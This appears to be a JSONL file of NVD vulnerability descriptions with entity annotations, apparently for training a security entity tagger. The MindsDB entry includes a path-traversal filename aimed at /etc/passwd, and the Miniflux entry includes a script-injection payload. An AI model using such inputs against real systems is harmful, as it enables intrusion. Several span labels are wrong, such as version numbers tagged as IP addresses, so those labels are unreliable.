{"text": "HUAWEI Mate 20 versions Versions earlier than 10.1.0.160(C00E160R3P8);HUAWEI Mate 20 Pro versions Versions earlier than 10.1.0.270(C431E7R1P5),Versions earlier than 10.1.0.270(C635E3R1P5),Versions earlier than 10.1.0.273(C636E7R2P4);HUAWEI Mate 20 X versions Versions earlier than 10.1.0.160(C00E160R2P8);HUAWEI P30 versions Versions earlier than 10.1.0.160(C00E160R2P11);HUAWEI P30 Pro versions Versions earlier than 10.1.0.160(C00E160R2P8);HUAWEI Mate 20 RS versions Versions earlier than 10.1.0.160(C786E160R3P8);HonorMagic2 versions Versions earlier than 10.0.0.187(C00E61R2P11);Honor20 versions Versions earlier than 10.0.0.175(C00E58R4P11);Honor20 PRO versions Versions earlier than 10.0.0.194(C00E62R8P12);HonorMagic2 versions Versions earlier than 10.0.0.187(C00E61R2P11);HonorV20 versions Versions earlier than 10.0.0.188(C00E62R2P11) have an improper authentication vulnerability. The system does not properly sign certain encrypted file, the attacker should gain the key used to encrypt the file, successful exploit could cause certain file be forged", "spans": {"IP_ADDRESS: 10.1.0.160": [[46, 56], [281, 291], [347, 357], [418, 428], [491, 501]], "IP_ADDRESS: 10.1.0.270": [[120, 130], [165, 175]], "IP_ADDRESS: 10.1.0.273": [[210, 220]], "IP_ADDRESS: 10.0.0.187": [[559, 569], [756, 766]], "IP_ADDRESS: 10.0.0.175": [[622, 632]], "IP_ADDRESS: 10.0.0.194": [[689, 699]], "IP_ADDRESS: 10.0.0.188": [[820, 830]], "VULNERABILITY: improper authentication": [[852, 875]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-9244"}}
{"text": "e107 CMS version 3.2.1 contains multiple vulnerabilities that allow cross-site scripting (XSS) attacks. The first vulnerability is a reflected XSS that occurs in the news comment functionality when authenticated users interact with the comment form. An attacker can inject malicious JavaScript code through the URL parameter that gets executed when users click outside the comment field after typing content. The second vulnerability involves an upload restriction bypass for authenticated administrators, allowing them to upload SVG files containing malicious code through the media manager's remote URL upload feature. This results in stored XSS when the uploaded SVG files are accessed. These vulnerabilities were discovered by Hubert Wojciechowski and affect the news.php and image.php components of the CMS.", "spans": {"FILEPATH: news.php": [[767, 775]], "FILEPATH: image.php": [[780, 789]], "VULNERABILITY: cross-site scripting": [[68, 88]], "VULNERABILITY: reflected XSS": [[133, 146]], "VULNERABILITY: stored XSS": [[637, 647]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50905"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: reject invalid reloc tree root keys with stack dump\n\n[BUG]\nSyzbot reported a crash that an ASSERT() got triggered inside\nprepare_to_merge().\n\nThat ASSERT() makes sure the reloc tree is properly pointed back by its\nsubvolume tree.\n\n[CAUSE]\nAfter more debugging output, it turns out we had an invalid reloc tree:\n\n  BTRFS error (device loop1): reloc tree mismatch, root 8 has no reloc root, expect reloc root key (-8, 132, 8) gen 17\n\nNote the above root key is (TREE_RELOC_OBJECTID, ROOT_ITEM,\nQUOTA_TREE_OBJECTID), meaning it's a reloc tree for quota tree.\n\nBut reloc trees can only exist for subvolumes, as for non-subvolume\ntrees, we just COW the involved tree block, no need to create a reloc\ntree since those tree blocks won't be shared with other trees.\n\nOnly subvolumes tree can share tree blocks with other trees (thus they\nhave BTRFS_ROOT_SHAREABLE flag).\n\nThus this new debug output proves my previous assumption that corrupted\non-disk data can trigger that ASSERT().\n\n[FIX]\nBesides the dedicated fix and the graceful exit, also let tree-checker to\ncheck such root keys, to make sure reloc trees can only exist for subvolumes.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53618"}}
{"text": "A vulnerability has been identified in SIMATIC CP 1242-7 V2 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 DNP3 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 IEC (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-7 LTE (All versions < V3.5.20), SIMATIC CP 1243-8 IRC (6GK7243-8RX30-0XE0) (All versions < V3.5.20), SIMATIC HMI Comfort Panels (incl. SIPLUS variants) (All versions), SIMATIC IPC DiagBase (All versions), SIMATIC IPC DiagMonitor (All versions), SIMATIC WinCC Runtime Advanced (All versions), SIPLUS TIM 1531 IRC (6AG1543-1MX00-7XE0) (All versions < V2.4.8), TIM 1531 IRC (6GK7543-1MX00-0XE0) (All versions < V2.4.8). The web server of the affected devices do not properly handle certain requests, causing a timeout in the watchdog, which could lead to the clean up of pointers. \r\n\r\nThis could allow a remote attacker to cause a denial of service condition in the system.", "spans": {"VULNERABILITY: denial of service": [[967, 984]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28827"}}
{"text": "Zimbra before 8.8.15 Patch 10 and 9.x before 9.0.0 Patch 3 allows remote code execution via an avatar file. There is potential abuse of /service/upload servlet in the webmail subsystem. A user can upload executable files (exe,sh,bat,jar) in the Contact section of the mailbox as an avatar image for a contact. A user will receive a \"Corrupt File\" error, but the file is still uploaded and stored locally in /opt/zimbra/data/tmp/upload/, leaving it open to possible remote execution.", "spans": {"FILEPATH: /service/upload": [[136, 151]], "FILEPATH: /opt/zimbra/data/tmp/upload": [[407, 434]], "SYSTEM: Zimbra": [[0, 6]], "VULNERABILITY: remote code execution": [[66, 87]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-12846"}}
{"text": "XWiki through version 17.3.0 is affected by multiple stored Cross-Site Scripting (XSS) vulnerabilities in the Administration interface, specifically under the Presentation section of the Global Preferences panel. An authenticated administrator can inject arbitrary JavaScript payloads into the HTTP Meta Info, Footer Copyright, and Footer Version fields. These inputs are stored and subsequently rendered without proper output encoding or sanitization on public-facing pages. As a result, the injected scripts are persistently executed in the browser context of any visitor to the affected instances including both authenticated and unauthenticated users. No user interaction is required beyond visiting a page that includes the malicious content. Successful exploitation can lead to session hijacking, credential theft, unauthorized actions via session riding, or further compromise of the application through client-side attacks. The vulnerability introduces significant risk in any deployment, especially in shared or internet-facing environments where administrator credentials may be compromised.", "spans": {"ORGANIZATION: Meta": [[299, 303]], "VULNERABILITY: Cross-Site Scripting": [[60, 80]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-51990"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath11k: fix node corruption in ar->arvifs list\n\nIn current WLAN recovery code flow, ath11k_core_halt() only\nreinitializes the \"arvifs\" list head. This will cause the\nlist node immediately following the list head to become an\ninvalid list node. Because the prev of that node still points\nto the list head \"arvifs\", but the next of the list head \"arvifs\"\nno longer points to that list node.\n\nWhen a WLAN recovery occurs during the execution of a vif\nremoval, and it happens before the spin_lock_bh(&ar->data_lock)\nin ath11k_mac_op_remove_interface(), list_del() will detect the\npreviously mentioned situation, thereby triggering a kernel panic.\n\nThe fix is to remove and reinitialize all vif list nodes from the\nlist head \"arvifs\" during WLAN halt. The reinitialization is to make\nthe list nodes valid, ensuring that the list_del() in\nath11k_mac_op_remove_interface() can execute normally.\n\nCall trace:\n__list_del_entry_valid_or_report+0xb8/0xd0\nath11k_mac_op_remove_interface+0xb0/0x27c [ath11k]\ndrv_remove_interface+0x48/0x194 [mac80211]\nieee80211_do_stop+0x6e0/0x844 [mac80211]\nieee80211_stop+0x44/0x17c [mac80211]\n__dev_close_many+0xac/0x150\n__dev_change_flags+0x194/0x234\ndev_change_flags+0x24/0x6c\ndevinet_ioctl+0x3a0/0x670\ninet_ioctl+0x200/0x248\nsock_do_ioctl+0x60/0x118\nsock_ioctl+0x274/0x35c\n__arm64_sys_ioctl+0xac/0xf0\ninvoke_syscall+0x48/0x114\n...\n\nTested-on: QCA6698AQ hw2.1 PCI WLAN.HSP.1.1-04591-QCAHSPSWPL_V1_V2_SILICONZ_IOE-1", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38293"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to cover read extent cache access with lock\n\nsyzbot reports a f2fs bug as below:\n\nBUG: KASAN: slab-use-after-free in sanity_check_extent_cache+0x370/0x410 fs/f2fs/extent_cache.c:46\nRead of size 4 at addr ffff8880739ab220 by task syz-executor200/5097\n\nCPU: 0 PID: 5097 Comm: syz-executor200 Not tainted 6.9.0-rc6-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114\n print_address_description mm/kasan/report.c:377 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:488\n kasan_report+0x143/0x180 mm/kasan/report.c:601\n sanity_check_extent_cache+0x370/0x410 fs/f2fs/extent_cache.c:46\n do_read_inode fs/f2fs/inode.c:509 [inline]\n f2fs_iget+0x33e1/0x46e0 fs/f2fs/inode.c:560\n f2fs_nfs_get_inode+0x74/0x100 fs/f2fs/super.c:3237\n generic_fh_to_dentry+0x9f/0xf0 fs/libfs.c:1413\n exportfs_decode_fh_raw+0x152/0x5f0 fs/exportfs/expfs.c:444\n exportfs_decode_fh+0x3c/0x80 fs/exportfs/expfs.c:584\n do_handle_to_path fs/fhandle.c:155 [inline]\n handle_to_path fs/fhandle.c:210 [inline]\n do_handle_open+0x495/0x650 fs/fhandle.c:226\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nWe missed to cover sanity_check_extent_cache() w/ extent cache lock,\nso, below race case may happen, result in use after free issue.\n\n- f2fs_iget\n - do_read_inode\n  - f2fs_init_read_extent_tree\n  : add largest extent entry in to cache\n\t\t\t\t\t- shrink\n\t\t\t\t\t - f2fs_shrink_read_extent_tree\n\t\t\t\t\t  - __shrink_extent_tree\n\t\t\t\t\t   - __detach_extent_node\n\t\t\t\t\t   : drop largest extent entry\n  - sanity_check_extent_cache\n  : access et->largest w/o lock\n\nlet's refactor sanity_check_extent_cache() to avoid extent cache access\nand call it before f2fs_init_read_extent_tree() to fix this issue.", "spans": {"FILEPATH: /f2fs/extent_cache.c": [[236, 256], [801, 821]], "FILEPATH: /27/2024": [[485, 493]], "FILEPATH: /kasan/report.c": [[635, 650], [692, 707], [740, 755]], "FILEPATH: /f2fs/inode.c": [[842, 855], [896, 909]], "FILEPATH: /f2fs/super.c": [[947, 960]], "FILEPATH: /exportfs/expfs.c": [[1052, 1069], [1106, 1123]], "FILEPATH: /x86/entry/common.c": [[1280, 1299], [1342, 1361]], "FILEPATH: dump_stack.c": [[532, 544], [589, 601]], "FILEPATH: libfs.c": [[1001, 1008]], "FILEPATH: fhandle.c": [[1150, 1159], [1192, 1201], [1246, 1255]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[419, 425], [426, 432], [448, 454], [476, 482]], "VULNERABILITY: use after free": [[1519, 1533]], "VULNERABILITY: use-after-free": [[178, 192]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44941"}}
{"text": "MindsDB is an open source machine learning platform. An unsafe extraction is being performed using `shutil.unpack_archive()` from a remotely retrieved tarball. Which may lead to the writing of the extracted files to an unintended location. This vulnerability is sometimes called a **TarSlip** or a **ZipSlip variant**. Unpacking files using the high-level function `shutil.unpack_archive()` from a potentially malicious tarball without validating that the destination file path remained within the intended destination directory may cause files to be overwritten outside the destination directory. An attacker could craft a malicious tarball with a filename path, such as `../../../../../../../../etc/passwd`, and then serve the archive remotely using a personal bucket `s3`, thus, retrieve the tarball through **mindsdb** and overwrite the system files of the hosting server. This issue has been addressed in version 22.11.4.3. Users are advised to upgrade. Users unable to upgrade should avoid ingesting archives from untrusted sources.", "spans": {"IP_ADDRESS: 22.11.4.3": [[918, 927]], "FILEPATH: /../../../../../../../etc/passwd": [[675, 707]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23522"}}
{"text": "OpenProject is an open-source, web-based project management software. Versions 16.3.0 through 16.6.4 are affected by a stored cross-site scripting vulnerability in the Roadmap view. OpenProject’s roadmap view renders the “Related work packages” list for each version. When a version contains work packages from a different project (e.g., a subproject), the helper link_to_work_package prepends package.project.to_s to the link and returns the entire string with .html_safe. Because project names are user-controlled and no escaping happens before calling html_safe, any HTML placed in a subproject name is injected verbatim into the page. The underlying issue is mitigated in versions 16.6.5 and 17.0.0 by setting a `X-Content-Type-Options: nosniff` header, which was in place until a refactoring move to Rails standard content-security policy, which did not properly apply this header in the new configuration since OpenProject 16.3.0. Those who cannot upgrade their installations should ensure that they add a X-Content-Type-Options: nosniff header in their proxying web application server.", "spans": {"VULNERABILITY: cross-site scripting": [[126, 146]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23625"}}
{"text": "XSS in /dashboard/blocks/stacks/view_details/ - old browsers only. When using an older browser with built-in XSS protection disabled, insufficient sanitation where built urls are outputted can be exploited for Concrete 8.5.7 and below as well as Concrete 9.0 through 9.0.2 to allow XSS. This cannot be exploited in modern-day web browsers due to an automatic input escape mechanism. Concrete CMS Security team ranked this vulnerability 3.1with CVSS v3.1 Vector AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N. Sanitation has been added where built urls are output. Credit to Credit to Bogdan Tiron from FORTBRIDGE (https://www.fortbridge.co.uk/ ) for reporting", "spans": {"URL: https://www.fortbridge.co.uk/": [[603, 632]], "FILEPATH: /dashboard/blocks/stacks/view_details": [[7, 44]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-30120"}}
{"text": "A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.4), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.19), APOGEE PXC Modular (BACnet) (All versions < V3.5.4), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.19), Desigo PXC00-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC00-U (All versions >= V2.3 and < V6.30.016), Desigo PXC001-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC100-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC12-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC128-U (All versions >= V2.3 and < V6.30.016), Desigo PXC200-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC36.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC50-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC64-U (All versions >= V2.3 and < V6.30.016), Desigo PXM20-E (All versions >= V2.3 and < V6.30.016), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus Source Code (All versions), TALON TC Compact (BACnet) (All versions < V3.5.4), TALON TC Modular (BACnet) (All versions < V3.5.4). FTP server does not properly validate the length of the “MKD/XMKD” command, leading to stack-based buffer overflows. This may result in Denial-of-Service conditions and Remote Code Execution. (FSMD-2021-0018)", "spans": {"VULNERABILITY: Remote Code Execution": [[1568, 1589]], "VULNERABILITY: Denial-of-Service": [[1535, 1552]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31888"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Prevent null pointer access in xe_migrate_copy\n\nxe_migrate_copy designed to copy content of TTM resources. When source\nresource is null, it will trigger a NULL pointer dereference in\nxe_migrate_copy. To avoid this situation, update lacks source flag to\ntrue for this case, the flag will trigger xe_migrate_clear rather than\nxe_migrate_copy.\n\nIssue trace:\n<7> [317.089847] xe 0000:00:02.0: [drm:xe_migrate_copy [xe]] Pass 14,\n sizes: 4194304 & 4194304\n<7> [317.089945] xe 0000:00:02.0: [drm:xe_migrate_copy [xe]] Pass 15,\n sizes: 4194304 & 4194304\n<1> [317.128055] BUG: kernel NULL pointer dereference, address:\n 0000000000000010\n<1> [317.128064] #PF: supervisor read access in kernel mode\n<1> [317.128066] #PF: error_code(0x0000) - not-present page\n<6> [317.128069] PGD 0 P4D 0\n<4> [317.128071] Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI\n<4> [317.128074] CPU: 1 UID: 0 PID: 1440 Comm: kunit_try_catch Tainted:\n G     U           N 6.11.0-rc7-xe #1\n<4> [317.128078] Tainted: [U]=USER, [N]=TEST\n<4> [317.128080] Hardware name: Intel Corporation Lunar Lake Client\n Platform/LNL-M LP5 RVP1, BIOS LNLMFWI1.R00.3221.D80.2407291239 07/29/2024\n<4> [317.128082] RIP: 0010:xe_migrate_copy+0x66/0x13e0 [xe]\n<4> [317.128158] Code: 00 00 48 89 8d e0 fe ff ff 48 8b 40 10 4c 89 85 c8\n fe ff ff 44 88 8d bd fe ff ff 65 48 8b 3c 25 28 00 00 00 48 89 7d d0 31\n ff <8b> 79 10 48 89 85 a0 fe ff ff 48 8b 00 48 89 b5 d8 fe ff ff 83 ff\n<4> [317.128162] RSP: 0018:ffffc9000167f9f0 EFLAGS: 00010246\n<4> [317.128164] RAX: ffff8881120d8028 RBX: ffff88814d070428 RCX:\n 0000000000000000\n<4> [317.128166] RDX: ffff88813cb99c00 RSI: 0000000004000000 RDI:\n 0000000000000000\n<4> [317.128168] RBP: ffffc9000167fbb8 R08: ffff88814e7b1f08 R09:\n 0000000000000001\n<4> [317.128170] R10: 0000000000000001 R11: 0000000000000001 R12:\n ffff88814e7b1f08\n<4> [317.128172] R13: ffff88814e7b1f08 R14: ffff88813cb99c00 R15:\n 0000000000000001\n<4> [317.128174] FS:  0000000000000000(0000) GS:ffff88846f280000(0000)\n knlGS:0000000000000000\n<4> [317.128176] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n<4> [317.128178] CR2: 0000000000000010 CR3: 000000011f676004 CR4:\n 0000000000770ef0\n<4> [317.128180] DR0: 0000000000000000 DR1: 0000000000000000 DR2:\n 0000000000000000\n<4> [317.128182] DR3: 0000000000000000 DR6: 00000000ffff07f0 DR7:\n 0000000000000400\n<4> [317.128184] PKRU: 55555554\n<4> [317.128185] Call Trace:\n<4> [317.128187]  <TASK>\n<4> [317.128189]  ? show_regs+0x67/0x70\n<4> [317.128194]  ? __die_body+0x20/0x70\n<4> [317.128196]  ? __die+0x2b/0x40\n<4> [317.128198]  ? page_fault_oops+0x15f/0x4e0\n<4> [317.128203]  ? do_user_addr_fault+0x3fb/0x970\n<4> [317.128205]  ? lock_acquire+0xc7/0x2e0\n<4> [317.128209]  ? exc_page_fault+0x87/0x2b0\n<4> [317.128212]  ? asm_exc_page_fault+0x27/0x30\n<4> [317.128216]  ? xe_migrate_copy+0x66/0x13e0 [xe]\n<4> [317.128263]  ? __lock_acquire+0xb9d/0x26f0\n<4> [317.128265]  ? __lock_acquire+0xb9d/0x26f0\n<4> [317.128267]  ? sg_free_append_table+0x20/0x80\n<4> [317.128271]  ? lock_acquire+0xc7/0x2e0\n<4> [317.128273]  ? mark_held_locks+0x4d/0x80\n<4> [317.128275]  ? trace_hardirqs_on+0x1e/0xd0\n<4> [317.128278]  ? _raw_spin_unlock_irqrestore+0x31/0x60\n<4> [317.128281]  ? __pm_runtime_resume+0x60/0xa0\n<4> [317.128284]  xe_bo_move+0x682/0xc50 [xe]\n<4> [317.128315]  ? lock_is_held_type+0xaa/0x120\n<4> [317.128318]  ttm_bo_handle_move_mem+0xe5/0x1a0 [ttm]\n<4> [317.128324]  ttm_bo_validate+0xd1/0x1a0 [ttm]\n<4> [317.128328]  shrink_test_run_device+0x721/0xc10 [xe]\n<4> [317.128360]  ? find_held_lock+0x31/0x90\n<4> [317.128363]  ? lock_release+0xd1/0x2a0\n<4> [317.128365]  ? __pfx_kunit_generic_run_threadfn_adapter+0x10/0x10\n [kunit]\n<4> [317.128370]  xe_bo_shrink_kunit+0x11/0x20 [xe]\n<4> [317.128397]  kunit_try_run_case+0x6e/0x150 [kunit]\n<4> [317.128400]  ? trace_hardirqs_on+0x1e/0xd0\n<4> [317.128402]  ? _raw_spin_unlock_irqrestore+0x31/0x60\n<4> [317.128404]  kunit_generic_run_threadfn_adapter+0x1e/0x40 [ku\n---truncated---", "spans": {"FILEPATH: /29/2024": [[1201, 1209]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1099, 1104]], "VULNERABILITY: NULL pointer dereference": [[232, 256], [653, 677]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49942"}}
{"text": "An Improper Validation of Syntactic Correctness of Input vulnerability in the Juniper DHCP daemon (jdhcpd) of Juniper Networks Junos OS allows an adjacent unauthenticated attacker sending a malformed DHCP packet to cause a crash of jdhcpd and thereby a Denial of Service (DoS). If option-82 is configured in a DHCP snooping / -security scenario, jdhcpd crashes if a specific malformed DHCP request packet is received. The DHCP functionality is impacted while jdhcpd restarts, and continued exploitation of the vulnerability will lead to the unavailability of the DHCP service and thereby a sustained DoS. This issue affects Juniper Networks Junos OS 13.2 version 13.2R1 and later versions prior to 15.1R7-S11; 18.3 versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S10; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S8, 19.2R3-S4; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R3-S6; 20.1 versions prior to 20.1R3-S3; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R1-S1, 21.2R2. This issue does not affect Juniper Networks Junos OS version 12.3R12 and prior versions.", "spans": {"ORGANIZATION: Juniper": [[78, 85], [110, 117], [624, 631], [1203, 1210]], "VULNERABILITY: Denial of Service": [[253, 270]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22176"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusbnet: Fix linkwatch use-after-free on disconnect\n\nusbnet uses the work usbnet_deferred_kevent() to perform tasks which may\nsleep.  On disconnect, completion of the work was originally awaited in\n->ndo_stop().  But in 2003, that was moved to ->disconnect() by historic\ncommit \"[PATCH] USB: usbnet, prevent exotic rtnl deadlock\":\n\n  https://git.kernel.org/tglx/history/c/0f138bbfd83c\n\nThe change was made because back then, the kernel's workqueue\nimplementation did not allow waiting for a single work.  One had to wait\nfor completion of *all* work by calling flush_scheduled_work(), and that\ncould deadlock when waiting for usbnet_deferred_kevent() with rtnl_mutex\nheld in ->ndo_stop().\n\nThe commit solved one problem but created another:  It causes a\nuse-after-free in USB Ethernet drivers aqc111.c, asix_devices.c,\nax88179_178a.c, ch9200.c and smsc75xx.c:\n\n* If the drivers receive a link change interrupt immediately before\n  disconnect, they raise EVENT_LINK_RESET in their (non-sleepable)\n  ->status() callback and schedule usbnet_deferred_kevent().\n* usbnet_deferred_kevent() invokes the driver's ->link_reset() callback,\n  which calls netif_carrier_{on,off}().\n* That in turn schedules the work linkwatch_event().\n\nBecause usbnet_deferred_kevent() is awaited after unregister_netdev(),\nnetif_carrier_{on,off}() may operate on an unregistered netdev and\nlinkwatch_event() may run after free_netdev(), causing a use-after-free.\n\nIn 2010, usbnet was changed to only wait for a single instance of\nusbnet_deferred_kevent() instead of *all* work by commit 23f333a2bfaf\n(\"drivers/net: don't use flush_scheduled_work()\").\n\nUnfortunately the commit neglected to move the wait back to\n->ndo_stop().  Rectify that omission at long last.", "spans": {"URL: https://git.kernel.org/tglx/history/c/0f138bbfd83c": [[402, 452]], "FILEPATH: aqc111.c": [[861, 869]], "FILEPATH: asix_devices.c": [[871, 885]], "FILEPATH: ax88179_178a.c": [[887, 901]], "FILEPATH: ch9200.c": [[903, 911]], "FILEPATH: smsc75xx.c": [[916, 926]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[91, 105], [822, 836], [1487, 1501]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50220"}}
{"text": "Miniflux is a feed reader. Since v2.0.25, Miniflux will automatically proxy images served over HTTP to prevent mixed content errors. \n\nWhen an outbound request made by the Go HTTP client fails, the `html.ServerError` is returned unescaped without the expected Content Security Policy header added to valid responses.\n\nBy creating an RSS feed item with the inline description containing an `<img>` tag with a `srcset` attribute pointing to an invalid URL like `http:a<script>alert(1)</script>`, we can coerce the proxy handler into an error condition where the invalid URL is returned unescaped and in full.\n\nThis results in JavaScript execution on the Miniflux instance as soon as the user is convinced (e.g. by a message in the alt text) to open the broken image.\n\nAn attacker can execute arbitrary JavaScript in the context of a victim Miniflux user when they open a broken image in a crafted RSS feed. This can be used to perform actions on the Miniflux instance as that user and gain administrative access to the Miniflux instance if it is reachable and the victim is an administrator.\n\nA patch is available in version 2.0.43. As a workaround sisable image proxy; default value is `http-only`.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-27592"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: switchdev: Skip MDB replays of deferred events on offload\n\nBefore this change, generation of the list of MDB events to replay\nwould race against the creation of new group memberships, either from\nthe IGMP/MLD snooping logic or from user configuration.\n\nWhile new memberships are immediately visible to walkers of\nbr->mdb_list, the notification of their existence to switchdev event\nsubscribers is deferred until a later point in time. So if a replay\nlist was generated during a time that overlapped with such a window,\nit would also contain a replay of the not-yet-delivered event.\n\nThe driver would thus receive two copies of what the bridge internally\nconsidered to be one single event. On destruction of the bridge, only\na single membership deletion event was therefore sent. As a\nconsequence of this, drivers which reference count memberships (at\nleast DSA), would be left with orphan groups in their hardware\ndatabase when the bridge was destroyed.\n\nThis is only an issue when replaying additions. While deletion events\nmay still be pending on the deferred queue, they will already have\nbeen removed from br->mdb_list, so no duplicates can be generated in\nthat scenario.\n\nTo a user this meant that old group memberships, from a bridge in\nwhich a port was previously attached, could be reanimated (in\nhardware) when the port joined a new bridge, without the new bridge's\nknowledge.\n\nFor example, on an mv88e6xxx system, create a snooping bridge and\nimmediately add a port to it:\n\n    root@infix-06-0b-00:~$ ip link add dev br0 up type bridge mcast_snooping 1 && \\\n    > ip link set dev x3 up master br0\n\nAnd then destroy the bridge:\n\n    root@infix-06-0b-00:~$ ip link del dev br0\n    root@infix-06-0b-00:~$ mvls atu\n    ADDRESS             FID  STATE      Q  F  0  1  2  3  4  5  6  7  8  9  a\n    DEV:0 Marvell 88E6393X\n    33:33:00:00:00:6a     1  static     -  -  0  .  .  .  .  .  .  .  .  .  .\n    33:33:ff:87:e4:3f     1  static     -  -  0  .  .  .  .  .  .  .  .  .  .\n    ff:ff:ff:ff:ff:ff     1  static     -  -  0  1  2  3  4  5  6  7  8  9  a\n    root@infix-06-0b-00:~$\n\nThe two IPv6 groups remain in the hardware database because the\nport (x3) is notified of the host's membership twice: once via the\noriginal event and once via a replay. Since only a single delete\nnotification is sent, the count remains at 1 when the bridge is\ndestroyed.\n\nThen add the same port (or another port belonging to the same hardware\ndomain) to a new bridge, this time with snooping disabled:\n\n    root@infix-06-0b-00:~$ ip link add dev br1 up type bridge mcast_snooping 0 && \\\n    > ip link set dev x3 up master br1\n\nAll multicast, including the two IPv6 groups from br0, should now be\nflooded, according to the policy of br1. But instead the old\nmemberships are still active in the hardware database, causing the\nswitch to only forward traffic to those groups towards the CPU (port\n0).\n\nEliminate the race in two steps:\n\n1. Grab the write-side lock of the MDB while generating the replay\n   list.\n\nThis prevents new memberships from showing up while we are generating\nthe replay list. But it leaves the scenario in which a deferred event\nwas already generated, but not delivered, before we grabbed the\nlock. Therefore:\n\n2. Make sure that no deferred version of a replay event is already\n   enqueued to the switchdev deferred queue, before adding it to the\n   replay list, when replaying additions.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26837"}}
{"text": "On Juniper Networks Junos OS devices configured with BGP origin validation using Resource Public Key Infrastructure (RPKI) receipt of a specific packet from the RPKI cache server may cause routing process daemon (RPD) to crash and restart, creating a Denial of Service (DoS) condition. Continued receipt and processing of this packet will create a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS 17.3 versions prior to 17.3R3-S12; 17.4 versions prior to 17.4R3-S5; 18.1 versions prior to 18.1R3-S13; 18.2 versions prior to 18.2R3-S8; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R2-S8, 18.4R3-S8; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R2-S4, 19.4R3-S3; 20.1 versions prior to 20.1R3; 20.2 versions prior to 20.2R3; 20.3 versions prior to 20.3R2; 20.4 versions prior to 20.4R2. Juniper Networks Junos OS Evolved All versions prior to 20.4R2-S2-EVO.", "spans": {"ORGANIZATION: Juniper": [[3, 10], [413, 420], [938, 945]], "VULNERABILITY: Denial of Service": [[251, 268], [358, 375]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0281"}}
